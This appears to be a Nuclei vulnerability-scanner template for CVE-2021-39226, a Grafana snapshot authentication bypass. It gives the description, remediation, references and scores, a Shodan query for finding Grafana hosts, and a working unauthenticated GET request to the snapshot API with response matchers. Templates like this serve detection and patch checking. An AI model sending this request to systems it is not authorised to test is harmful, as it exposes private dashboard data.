id: CVE-2021-39226 info: name: Grafana Snapshot - Authentication Bypass author: Evan Rubinstein severity: high description: Grafana instances up to 7.5.11 and 8.1.5 allow remote unauthenticated users to view the snapshot associated with the lowest database key by accessing the literal paths /api/snapshot/:key or /dashboard/snapshot/:key. If the snapshot is in public mode, unauthenticated users can delete snapshots by accessing the endpoint /api/snapshots-delete/:deleteKey. Authenticated users can also delete snapshots by accessing the endpoints /api/snapshots-delete/:deleteKey, or sending a delete request to /api/snapshot/:key, regardless of whether or not the snapshot is set to public mode (disabled by default). remediation: 'This issue has been resolved in versions 8.1.6 and 7.5.11. If you cannot upgrade you can block access to the literal paths: /api/snapshots/:key, /api/snapshots-delete/:deleteKey, /dashboard/snapshot/:key, and /api/snapshots/:key. They have no normal function and can be disabled without side effects.' reference: - https://github.com/advisories/GHSA-69j6-29vr-p3j9 - https://nvd.nist.gov/vuln/detail/CVE-2021-39226 - https://github.com/grafana/grafana/commit/2d456a6375855364d098ede379438bf7f0667269 - https://grafana.com/docs/grafana/latest/release-notes/release-notes-8-1-6/ - http://www.openwall.com/lists/oss-security/2021/10/05/4 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L cvss-score: 7.3 cve-id: CVE-2021-39226 cwe-id: CWE-287 epss-score: 0.92988 epss-percentile: 0.98758 cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: grafana product: grafana shodan-query: title:"Grafana" tags: cve,cve2021,grafana,kev http: - method: GET path: - "{{BaseURL}}/api/snapshots/:key" matchers-condition: and matchers: - type: word words: - '"isSnapshot":true' - type: status status: - 200 # digest: 490a00463044022045c29d33b8f58455665c15a94286d38d044b2a0256d7ec847ad776efca6a8b9802204fd043868fef7af32ea59f092cec35e41ee1e2450ca3da2356dd02d42afc6a40:922c64590222798bb761d5b6d8e72950